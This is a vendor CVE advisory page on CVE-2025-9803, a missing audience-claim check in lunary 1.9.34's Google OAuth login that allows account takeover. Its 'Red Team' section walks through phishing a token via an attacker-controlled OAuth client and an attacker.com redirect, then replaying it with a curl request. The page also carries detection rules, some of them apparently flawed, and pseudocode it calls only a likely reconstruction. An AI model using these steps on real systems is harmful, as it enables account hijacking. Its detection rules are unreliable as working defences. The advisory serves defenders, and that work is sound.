☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-9803

CVE-2025-9803 Improper Authentication in Lunary-ai
📅 PUBLISHED: 2025-11-25 00:00 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v1.9.35 — source: @huntr_ai. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9803 is a critical vulnerability in lunary-ai/lunary version 1.9.34 that allows for complete account takeover via a flawed Google OAuth integration. The root cause is the application's failure to validate the aud (audience) claim in the Google-issued access token. This oversight permits an attacker to use an access token issued to a malicious OAuth client to authenticate as any user in the target lunary application. The vulnerability has a CVSS score of 9.3 (Critical) and is resolved in version 1.9.35.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the lunary-ai/lunary application, which is distributed as a Python package (PyPI) and a Docker image. Users of the PyPI package or Docker image are vulnerable if running version 1.9.34 or earlier. The fix is available in version 1.9.35. Organizations should verify their deployment method and update accordingly.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.3 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The high impact across all three security pillars (CIA) combined with the low attack complexity and no required privileges or user interaction makes this a critical vulnerability that should be prioritized for immediate patching.

Deep Dive & Mechanics

The vulnerability lies in the Google OAuth 2.0 authentication flow. When a user authenticates via Google, the application receives an access token from Google's authorization server. This token is a JSON Web Token (JWT) that contains several claims, including the aud (audience) claim. The aud claim specifies the intended recipient of the token – in this case, the OAuth 2.0 client ID of the application that requested the token.

In a secure implementation, the application must verify that the aud claim matches its own client ID. This ensures that a token issued to a different application (e.g., a malicious one) cannot be used to authenticate against the target application.

In lunary version 1.9.34, this validation is missing. The application only verifies the token's signature and expiration but does not check the aud field. An attacker can:

  1. Register their own malicious application with Google and obtain a valid OAuth 2.0 client ID.
  2. Trick a victim into authenticating with the attacker's malicious application (e.g., via a phishing link).
  3. Capture the access token issued by Google to the attacker's application.
  4. Present this token to the lunary application's authentication endpoint.
  5. The lunary application accepts the token because it does not verify the aud claim, and the attacker gains access to the victim's account.

This is a classic case of confused deputy problem where the application (deputy) is tricked into using a token that was not intended for it.

Vulnerable vs. Patched Code

The vulnerable code likely looks like this (pseudocode):

# Vulnerable version (1.9.34)
def verify_google_token(token):
    # Verify signature and expiration only
    decoded = jwt.decode(token, verify=True, options={"verify_exp": True})
    # Missing: verify that decoded['aud'] == GOOGLE_CLIENT_ID
    return decoded

The patched version (1.9.35) adds the audience validation:

# Patched version (1.9.35)
def verify_google_token(token):
    # Verify signature, expiration, and audience
    decoded = jwt.decode(token, verify=True, options={"verify_exp": True, "verify_aud": True}, audience=GOOGLE_CLIENT_ID)
    return decoded

The key difference is the addition of the audience parameter in the jwt.decode call, which enforces that the token's aud claim matches the application's client ID.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Google Cloud Platform (GCP) project with OAuth 2.0 credentials.
  • A target lunary instance running version 1.9.34.
  • A victim user account on the target lunary instance.

Steps:

  1. Set up a malicious OAuth application:

    • Go to the Google Cloud Console.
    • Create a new OAuth 2.0 Client ID for a Web application.
    • Set the authorized redirect URIs to a server you control (e.g., http://attacker.com/oauth2callback).
  2. Craft a phishing link:

    • Construct a URL that initiates OAuth flow with your malicious client ID:
      https://accounts.google.com/o/oauth2/v2/auth?
      client_id=YOUR_MALICIOUS_CLIENT_ID&
      redirect_uri=http://attacker.com/oauth2callback&
      response_type=token&
      scope=openid%20email%20profile
      
  3. Trick the victim:

    • Send the phishing link to the victim. When they click and authenticate, Google redirects them to your server with an access token in the URL fragment.
  4. Capture the token:

    • Your server at http://attacker.com/oauth2callback extracts the access_token from the URL fragment.
  5. Use the token against lunary:

    • Send a request to the lunary authentication endpoint with the captured token:
      curl -X POST https://victim-lunary.com/auth/google \
        -H "Content-Type: application/json" \
        -d '{"access_token": "CAPTURED_TOKEN"}'
      
  6. Account takeover:

    • The lunary application accepts the token and returns a session cookie or JWT for the victim's account. The attacker now has full access.

Blue Team

Detection:

  • Monitor for multiple failed OAuth authentication attempts from different IPs.
  • Look for unusual patterns in the aud claim of Google tokens (if you have logging).
  • Alert on any authentication using a Google token where the aud field does not match your application's client ID.

Prevention:

  • Immediately upgrade to lunary version 1.9.35.
  • If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests to the OAuth endpoint that contain suspicious tokens.
  • Monitor logs for any authentication events that occur outside of normal user behavior.

Hunting:

  • Search logs for authentication events where the aud claim is not your application's client ID.
  • Look for authentication events that occur shortly after a user receives a phishing email.

Indicators of Compromise (IOCs)

  • Network:

    • POST requests to /auth/google with an access_token that has an aud claim not matching the application's client ID.
    • Unusual redirect URIs in OAuth flows (e.g., http://attacker.com/oauth2callback).
  • Logs:

    • Authentication logs showing successful logins from unexpected IP addresses.
    • Logs showing the same user authenticating from multiple geographic locations in a short time.
  • Token:

    • A Google access token where the aud field is not the application's client ID.

Detection Engineering

YARA Rule

rule Detect_CVE_2025_9803_OAuth_Token_Abuse {
    meta:
        description = "Detects Google OAuth tokens with mismatched audience claim"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9803"
    strings:
        $token_pattern = /"access_token"\s*:\s*"[A-Za-z0-9\-_]+?\.[A-Za-z0-9\-_]+?\.[A-Za-z0-9\-_]+?"/
        $aud_claim = /"aud"\s*:\s*"[^"]+"/
    condition:
        $token_pattern and $aud_claim
}

Sigma Rule

title: CVE-2025-9803 - Google OAuth Token Audience Mismatch
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to use a Google OAuth token with an incorrect audience claim against lunary-ai/lunary
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: lunary
detection:
    selection:
        event: "oauth_authentication"
        token_aud: "!= YOUR_GOOGLE_CLIENT_ID"
    condition: selection
falsepositives:
    - Legitimate tokens from other applications (should not happen in normal operation)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9803 - Potential OAuth Token Reuse Attack";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/auth/google"; http_uri;
    content:"access_token";
    pcre:"/\"aud\"\s*:\s*\"(?!YOUR_GOOGLE_CLIENT_ID\")[^\"]+\"/";
    sid:1000001;
    rev:1;
    reference:cve,2025-9803;
)

Remediation & Mitigation

Immediate:

  • Upgrade to lunary version 1.9.35 or later. This is the only complete fix.

Compensating Controls (if upgrade is delayed):

  • Implement a reverse proxy or API gateway that validates the aud claim of incoming Google tokens before forwarding to the lunary application.
  • Disable Google OAuth authentication temporarily and use alternative authentication methods.
  • Monitor authentication logs for any signs of exploitation.

Long-term:

  • Ensure all OAuth integrations validate the aud claim.
  • Implement additional security measures such as PKCE (Proof Key for Code Exchange) to prevent token interception.
  • Regularly review and update dependencies.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9803/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.